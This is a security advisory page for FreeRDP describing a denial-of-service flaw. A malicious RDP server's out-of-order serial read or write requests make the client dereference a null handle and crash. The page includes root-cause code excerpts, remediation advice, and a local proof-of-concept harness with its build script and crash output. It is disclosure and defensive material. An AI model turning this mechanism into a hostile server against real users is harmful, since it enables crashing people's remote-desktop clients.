All vulnerabilities
GHSA-pw4j-ff39-9vjm

Out-of-lifecycle serial IRP can terminate a FreeRDP client through a null communication handle

FreeRDP
CVSS
6.5Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published30 Sep 2026Updated 30 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

A malicious RDP server can send a serial IRP_MJ_READ or IRP_MJ_WRITE before create succeeds or after closing the redirected serial device. FreeRDP dispatches the request without checking whether the serial device is open. WinPR then dereferences the null communication handle to enter its read or write critical section before checking whether the handle is valid, terminating the client.

The client must run on Linux with serial redirection explicitly configured, for example /serial:COM1,/dev/ttyS0, and the user must connect to the malicious server. The demonstrated effect is denial of service to the client process. The report does not claim remote code execution, confidentiality loss, integrity loss, or exposure when serial redirection is disabled.

The source mechanism predates the Android-specific 1.2.0-beta1+android9 tag, but the current serial client is not built for Android. The earliest stable release verified affected is 2.0.0. Sampled releases 2.0.0, 2.11.7, 3.0.0, 3.15.0, and 3.31.1 contain the same path, as does the latest inspected upstream master. No exact public advisory, issue, fix, or fixed release was identified.

Root cause

serial_process_irp_close in channels/serial/client/serial_main.c clears the communication handle:

if (!CloseHandle(serial->hComm))
{
	WLog_Print(serial->log, WLOG_WARN, "CloseHandle failure: %s (%" PRIu32 ") closed.",
	           serial->device.name, irp->device->id);
	irp->IoStatus = STATUS_UNSUCCESSFUL;
	goto error_handle;
}

	WLog_Print(serial->log, WLOG_DEBUG, "%s (DeviceId: %" PRIu32 ", FileId: %" PRIu32 ") closed.",
	           serial->device.name, irp->device->id, irp->FileId);
	irp->IoStatus = STATUS_SUCCESS;
error_handle:
	serial->hComm = nullptr;

The dispatcher does not require an open handle before routing a later server request:

case IRP_MJ_READ:
	error = serial_process_irp_read(serial, irp);
	break;

case IRP_MJ_WRITE:
	error = serial_process_irp_write(serial, irp);
	break;

The read and write handlers pass serial->hComm directly to WinPR:

if (CommReadFile(serial->hComm, buffer, Length, &nbRead, nullptr))
if (CommWriteFile(serial->hComm, ptr, Length, &nbWritten, nullptr))

CommReadFile dereferences the handle before its validity check:

EnterCriticalSection(&pComm->ReadLock); /* KISSer by the function's beginning */

if (!CommIsHandled(hDevice))
	goto return_false;

CommWriteFile uses the same ordering for pComm->WriteLock. The later CommIsHandled call therefore cannot reject a null handle safely.

Security impact and prerequisites

  • Mallory controls the RDP server endpoint.
  • Alice explicitly enables a Linux serial redirect and connects to Mallory's server.
  • Mallory sends a serial read or write before successful create or after close.
  • The client reaches a zero-page write while trying to enter the null handle's critical section and terminates.
  • Serial-disabled clients do not expose this path.
  • No code-execution, confidentiality, or integrity primitive was demonstrated.

The recommended severity is CVSS 3.1 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H). The server reaches the vulnerable client over the RDP connection without additional privileges, the user must connect with serial redirection enabled, scope is unchanged, and only client availability is affected.

Proof of concept

The source-only PoC invokes the production serial dispatcher. Its attack case sends a one-byte read with no open communication handle. Its control case creates a PTY-backed handle, writes one byte, and dispatches the identical request. The attack child is expected to terminate under AddressSanitizer.

Run from the directory containing these files:

chmod +x run.sh
FREERDP_SOURCE=../FreeRDP \
FREERDP_BUILD=../FreeRDP-build \
FREERDP_LIBRARY_DIR=../FreeRDP-build/lib \
./run.sh

The verified replay produced:

attack_exit=1
attack_path=serial_process_irp->serial_process_irp_read->CommReadFile
attack_fault=zero-page-write
control_exit=0
control_io_status=0x00000000
control_output_bytes=5

The attack stack reached the production dispatcher and CommReadFile. The PTY-backed control's success shows that the IRP itself is valid and isolates the missing handle lifecycle check.

harness.c

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "channels/serial/client/serial_main.c"

static int setup_comm(HANDLE* handle, int* master)
{
	*master = posix_openpt(O_RDWR | O_NOCTTY);
	if ((*master < 0) || (grantpt(*master) != 0) || (unlockpt(*master) != 0))
		return 0;
	const char* slave = ptsname(*master);
	if (!slave || !DefineCommDevice("COM1", slave))
		return 0;
	*handle = CommCreateFileA("COM1", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0,
	                          NULL);
	return *handle && (*handle != INVALID_HANDLE_VALUE);
}

int main(int argc, char** argv)
{
	const BOOL attack = !((argc > 1) && (strcmp(argv[1], "control") == 0));
	SERIAL_DEVICE serial = { 0 };
	IRP irp = { 0 };
	int master = -1;

	serial.log = WLog_GetRoot();
	serial.device.name = "COM1";
	if (!attack)
	{
		if (!setup_comm(&serial.hComm, &master))
			return 2;
		if (write(master, "Z", 1) != 1)
			return 2;
	}

	irp.MajorFunction = IRP_MJ_READ;
	irp.input = Stream_New(NULL, 32);
	irp.output = Stream_New(NULL, 32);
	Stream_Write_UINT32(irp.input, 1);
	Stream_Write_UINT64(irp.input, 0);
	Stream_Zero(irp.input, 20);
	Stream_SealLength(irp.input);
	Stream_SetPosition(irp.input, 0);

	fprintf(stderr, "mode=%s dispatch=serial_process_irp handle=%p\n",
	        attack ? "attack" : "control", serial.hComm);
	const UINT rc = serial_process_irp(&serial, &irp);
	fprintf(stderr, "dispatch_rc=%u io_status=0x%08x output=%zu\n", rc,
	        (unsigned)irp.IoStatus, Stream_GetPosition(irp.output));

	if (serial.hComm)
		CloseHandle(serial.hComm);
	if (master >= 0)
		close(master);
	Stream_Free(irp.input, TRUE);
	Stream_Free(irp.output, TRUE);
	return rc == CHANNEL_RC_OK ? 0 : 1;
}

run.sh

#!/bin/sh
set -eu

: "${FREERDP_SOURCE:?set FREERDP_SOURCE to the FreeRDP source checkout}"
: "${FREERDP_BUILD:?set FREERDP_BUILD to its configured build directory}"
: "${FREERDP_LIBRARY_DIR:?set FREERDP_LIBRARY_DIR to the directory containing libfreerdp3 and libwinpr3}"

cc=${CC:-cc}
work=$(mktemp -d .serial-irp-poc.XXXXXX)
trap 'rm -rf "$work"' EXIT HUP INT TERM

$cc -w -DNDEBUG -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
  -ffunction-sections -fdata-sections \
  -I"$FREERDP_SOURCE" -I"$FREERDP_SOURCE/include" -I"$FREERDP_SOURCE/winpr/include" \
  -I"$FREERDP_BUILD/include" -I"$FREERDP_BUILD/winpr/include" \
  ${FREERDP_EXTRA_CPPFLAGS:-} \
  -o "$work/harness" harness.c \
  -L"$FREERDP_LIBRARY_DIR" -Wl,-rpath,"$FREERDP_LIBRARY_DIR" \
  -lfreerdp3 -lwinpr3 -lssl -lcrypto -lz -lpthread \
  ${FREERDP_EXTRA_LDFLAGS:-} -Wl,--gc-sections

set +e
LD_LIBRARY_PATH="$FREERDP_LIBRARY_DIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
  ASAN_OPTIONS=detect_leaks=0 "$work/harness" attack \
  >"$work/attack.stdout" 2>"$work/attack.stderr"
attack_status=$?
LD_LIBRARY_PATH="$FREERDP_LIBRARY_DIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
  ASAN_OPTIONS=detect_leaks=0 "$work/harness" control \
  >"$work/control.stdout" 2>"$work/control.stderr"
control_status=$?
set -e

test "$attack_status" -ne 0
grep -q 'in CommReadFile' "$work/attack.stderr"
grep -q 'address points to the zero page' "$work/attack.stderr"
test "$control_status" -eq 0
grep -q 'io_status=0x00000000 output=5' "$work/control.stderr"

printf 'attack_exit=%s\n' "$attack_status"
printf '%s\n' 'attack_path=serial_process_irp->serial_process_irp_read->CommReadFile'
printf '%s\n' 'attack_fault=zero-page-write'
printf 'control_exit=%s\n' "$control_status"
printf '%s\n' 'control_io_status=0x00000000'
printf '%s\n' 'control_output_bytes=5'

README.md

# Serial IRP lifecycle reproducer

This source-only harness calls FreeRDP's production serial IRP dispatcher with a one-byte server read request. The attack case leaves the serial handle unopened. The control case creates a real pseudo-terminal-backed communication handle, writes one byte to it, and sends the same request.

The harness is intended for a disposable Linux checkout built with AddressSanitizer and UndefinedBehaviorSanitizer. It terminates its attack process deliberately. It does not connect to an RDP server, test a public target, or demonstrate code execution.

Set these variables to paths in your local FreeRDP build:

- `FREERDP_SOURCE`: the FreeRDP source checkout;
- `FREERDP_BUILD`: the configured build directory containing generated headers; and
- `FREERDP_LIBRARY_DIR`: the directory containing matching `libfreerdp3` and `libwinpr3` shared libraries.

If OpenSSL or zlib headers and libraries are in nonstandard locations, add their flags through `FREERDP_EXTRA_CPPFLAGS` and `FREERDP_EXTRA_LDFLAGS`.

Run from this directory:

chmod +x run.sh FREERDP_SOURCE=../FreeRDP \ FREERDP_BUILD=../FreeRDP-build \ FREERDP_LIBRARY_DIR=../FreeRDP-build/lib \ ./run.sh

The runner succeeds only if the unopened-handle case terminates in `CommReadFile` with a zero-page write and the PTY-backed control returns `STATUS_SUCCESS` with a five-byte response.

Suggested remediation

Require a successfully opened serial lifecycle, with a matching active file identifier, before dispatching read, write, device-control, or close operations. Clear both handle and file identifier on close, and return an invalid-handle protocol status for out-of-order or stale requests without calling WinPR.

As defense in depth, move the null-safe handle check in CommReadFile and CommWriteFile ahead of any pComm dereference. Add regression tests for read and write before create, after close, with stale identifiers, and across a valid PTY-backed lifecycle.

No upstream fix or fixed release was identified.

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c>= 2.0.0, <= 3.31.1GitHub